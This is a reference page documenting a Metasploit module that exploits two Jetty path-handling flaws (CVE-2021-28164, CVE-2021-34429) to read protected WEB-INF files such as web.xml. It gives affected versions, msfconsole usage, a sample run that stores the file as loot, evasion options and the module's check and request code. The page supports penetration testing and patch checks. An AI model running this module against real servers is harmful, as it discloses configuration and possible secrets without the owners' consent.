Jetty WEB-INF File Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/gather/jetty_web_inf_disclosure metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Jetty WEB-INF File Disclosure
Module: auxiliary/gather/jetty_web_inf_disclosure
Source code: modules/auxiliary/gather/jetty_web_inf_disclosure.rb
Disclosure date: 2021-07-15
Last modification time: 2021-11-12 11:30:42 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-28164, CVE-2021-34429

Jetty suffers from a vulnerability where certain encoded URIs and ambiguous paths can access protected files in the WEB-INF folder. Versions effected are: 9.4.37.v20210219, 9.4.38.v20210224 and 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5. Exploitation can obtain any file in the WEB-INF folder, but web.xml is most likely to have information of value.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use auxiliary/gather/jetty_web_inf_disclosure
msf auxiliary(jetty_web_inf_disclosure) > show targets
    ... a list of targets ...
msf auxiliary(jetty_web_inf_disclosure) > set TARGET target-id
msf auxiliary(jetty_web_inf_disclosure) > show options
    ... show and set options ...
msf auxiliary(jetty_web_inf_disclosure) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Jetty suffers from a vulnerability where certain encoded URIs and ambiguous paths can access protected files in the WEB-INF folder.

Versions effected are:

  • 9.4.37.v20210219, 9.4.38.v20210224
  • 9.4.37-9.4.42
  • 10.0.1-10.0.5
  • 11.0.1-11.0.5

Exploitation can obtain any file in the WEB-INF folder, but web.xml is most likely to have information of value.

CVE-2021-34429

Use the Docker image from ColdFusionX at https://github.com/ColdFusionX/CVE-2021-34429/blob/main/docker-compose.yml

Verification Steps


  1. Install Jetty with an app that contains a WEB-INF folder
  2. Start msfconsole
  3. Do: use auxiliary/gather/jetty_web_inf_disclosure
  4. Do: set rhosts
  5. Do: run
  6. You should get the contents of a file

Options


FILE

The file in the WEB-INF folder to retrieve. Defaults to web.xml

CVE

Which vulnerability to use. Options: CVE-2021-34429, CVE-2021-28164. Defaults to CVE-2021-34429

Scenarios


Jetty 11.0.5 from Docker

resource (jetty.rb)> use auxiliary/gather/jetty_web_inf_disclosure
resource (jetty.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (jetty.rb)> set rport 8080
rport => 8080
resource (jetty.rb)> set verbose true
verbose => true
resource (jetty.rb)> run
[*] Running module against 1.1.1.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found version: 11.0.5
[+] 11.0.5 vulnerable to CVE-2021-34429
[!] The service is running, but could not be validated.
[+] File stored to /home/h00die/.msf4/loot/20211108134054_default_1.1.1.1_jetty.web.xml_813220.xml
[+] <!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

ColdFusionX - Web Application

Go back to menu.

Msfconsole Usage


Here is how the gather/jetty_web_inf_disclosure auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/jetty_web_inf_disclosure

msf6 auxiliary(gather/jetty_web_inf_disclosure) > show info

       Name: Jetty WEB-INF File Disclosure
     Module: auxiliary/gather/jetty_web_inf_disclosure
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-07-15

Provided by:
  h00die
  Mayank Deshmukh
  cangqingzhe
  lachlan roberts <[email protected]>
  charlesk40

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Available actions:
  Name       Description
  ----       -----------
  READ_FILE  Read file on the remote server from WEB-INF folder

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  CVE      CVE-2021-34429   yes       The vulnerability to use (Accepted: CVE-2021-34429, CVE-2021-28164)
  FILE     web.xml          no        File in WEB-INF to retrieve
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    8080             yes       The target port (TCP)
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                     no        HTTP server virtual host

Description:
  Jetty suffers from a vulnerability where certain encoded URIs and 
  ambiguous paths can access protected files in the WEB-INF folder. 
  Versions effected are: 9.4.37.v20210219, 9.4.38.v20210224 and 
  9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5. Exploitation can obtain 
  any file in the WEB-INF folder, but web.xml is most likely to have 
  information of value.

References:
  https://www.exploit-db.com/exploits/50438
  https://www.exploit-db.com/exploits/50478
  https://github.com/ColdFusionX/CVE-2021-34429
  https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
  https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
  https://nvd.nist.gov/vuln/detail/CVE-2021-34429
  https://nvd.nist.gov/vuln/detail/CVE-2021-28164

Module Options


This is a complete list of options available in the gather/jetty_web_inf_disclosure auxiliary module:

msf6 auxiliary(gather/jetty_web_inf_disclosure) > show options

Module options (auxiliary/gather/jetty_web_inf_disclosure):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CVE      CVE-2021-34429   yes       The vulnerability to use (Accepted: CVE-2021-34429, CVE-2021-28164)
   FILE     web.xml          no        File in WEB-INF to retrieve
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    8080             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Auxiliary action:

   Name       Description
   ----       -----------
   READ_FILE  Read file on the remote server from WEB-INF folder

Advanced Options


Here is a complete list of advanced options supported by the gather/jetty_web_inf_disclosure auxiliary module:

msf6 auxiliary(gather/jetty_web_inf_disclosure) > show advanced

Module advanced options (auxiliary/gather/jetty_web_inf_disclosure):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   AutoCheck             true                                                no        Run check before exploit
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit          false                                               no        Override check result
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto
                                                                                       , TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/jetty_web_inf_disclosure module can do:

msf6 auxiliary(gather/jetty_web_inf_disclosure) > show actions

Auxiliary actions:

   Name       Description
   ----       -----------
   READ_FILE  Read file on the remote server from WEB-INF folder

Evasion Options


Here is the full list of possible evasion options supported by the gather/jetty_web_inf_disclosure auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/jetty_web_inf_disclosure) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Could not connect to web service - no response


Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:

56:	    ])
57:	  end
58:	
59:	  def check
60:	    res = send_request_cgi('uri' => '/')
61:	    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
62:	    return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
63:	    return Exploit::CheckCode::Safe("#{peer} - No Server header found") unless res.headers['Server']
64:	    unless /Jetty\((?<version>[^)]+)\)/ =~ res.headers['Server']
65:	      return Exploit::CheckCode::Safe("#{peer} - Unable to detect Jetty version from server header: #{res.headers['Server']}")
66:	    end

<PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>


Here is a relevant code snippet related to the "<PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>" error message:

57:	  end
58:	
59:	  def check
60:	    res = send_request_cgi('uri' => '/')
61:	    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
62:	    return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
63:	    return Exploit::CheckCode::Safe("#{peer} - No Server header found") unless res.headers['Server']
64:	    unless /Jetty\((?<version>[^)]+)\)/ =~ res.headers['Server']
65:	      return Exploit::CheckCode::Safe("#{peer} - Unable to detect Jetty version from server header: #{res.headers['Server']}")
66:	    end
67:	

<PEER> - No Server header found


Here is a relevant code snippet related to the "<PEER> - No Server header found" error message:

58:	
59:	  def check
60:	    res = send_request_cgi('uri' => '/')
61:	    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
62:	    return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
63:	    return Exploit::CheckCode::Safe("#{peer} - No Server header found") unless res.headers['Server']
64:	    unless /Jetty\((?<version>[^)]+)\)/ =~ res.headers['Server']
65:	      return Exploit::CheckCode::Safe("#{peer} - Unable to detect Jetty version from server header: #{res.headers['Server']}")
66:	    end
67:	
68:	    vprint_status("Found version: #{version}")

<PEER> - Unable to detect Jetty version from server header: <SERVER>


Here is a relevant code snippet related to the "<PEER> - Unable to detect Jetty version from server header: <SERVER>" error message:

60:	    res = send_request_cgi('uri' => '/')
61:	    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
62:	    return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
63:	    return Exploit::CheckCode::Safe("#{peer} - No Server header found") unless res.headers['Server']
64:	    unless /Jetty\((?<version>[^)]+)\)/ =~ res.headers['Server']
65:	      return Exploit::CheckCode::Safe("#{peer} - Unable to detect Jetty version from server header: #{res.headers['Server']}")
66:	    end
67:	
68:	    vprint_status("Found version: #{version}")
69:	    version = Rex::Version.new(version)
70:	

Server not vulnerable


Here is a relevant code snippet related to the "Server not vulnerable" error message:

76:	          version.between?(Rex::Version.new('11.0.1'), Rex::Version.new('11.0.6'))
77:	      print_good("#{version} vulnerable to CVE-2021-34429")
78:	      return Exploit::CheckCode::Appears
79:	    end
80:	
81:	    Exploit::CheckCode::Safe('Server not vulnerable')
82:	  end
83:	
84:	  def pick_payload
85:	    case datastore['CVE']
86:	    when 'CVE-2021-34429'

<PEER> - Could not connect to web service - no response


Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:

92:	    payload
93:	  end
94:	
95:	  def run
96:	    res = send_request_cgi('uri' => "/#{pick_payload}/WEB-INF/#{datastore['FILE']}")
97:	    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
98:	    fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
99:	    path = store_loot("jetty.#{datastore['FILE']}", 'text/plain', target_host, res.body, datastore['FILE'], 'Jetty WEB-INF File')
100:	    print_good("File stored to #{path}")
101:	    print_good(res.body)
102:	  end

<PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>


Here is a relevant code snippet related to the "<PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>" error message:

93:	  end
94:	
95:	  def run
96:	    res = send_request_cgi('uri' => "/#{pick_payload}/WEB-INF/#{datastore['FILE']}")
97:	    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
98:	    fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
99:	    path = store_loot("jetty.#{datastore['FILE']}", 'text/plain', target_host, res.body, datastore['FILE'], 'Jetty WEB-INF File')
100:	    print_good("File stored to #{path}")
101:	    print_good(res.body)
102:	  end
103:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.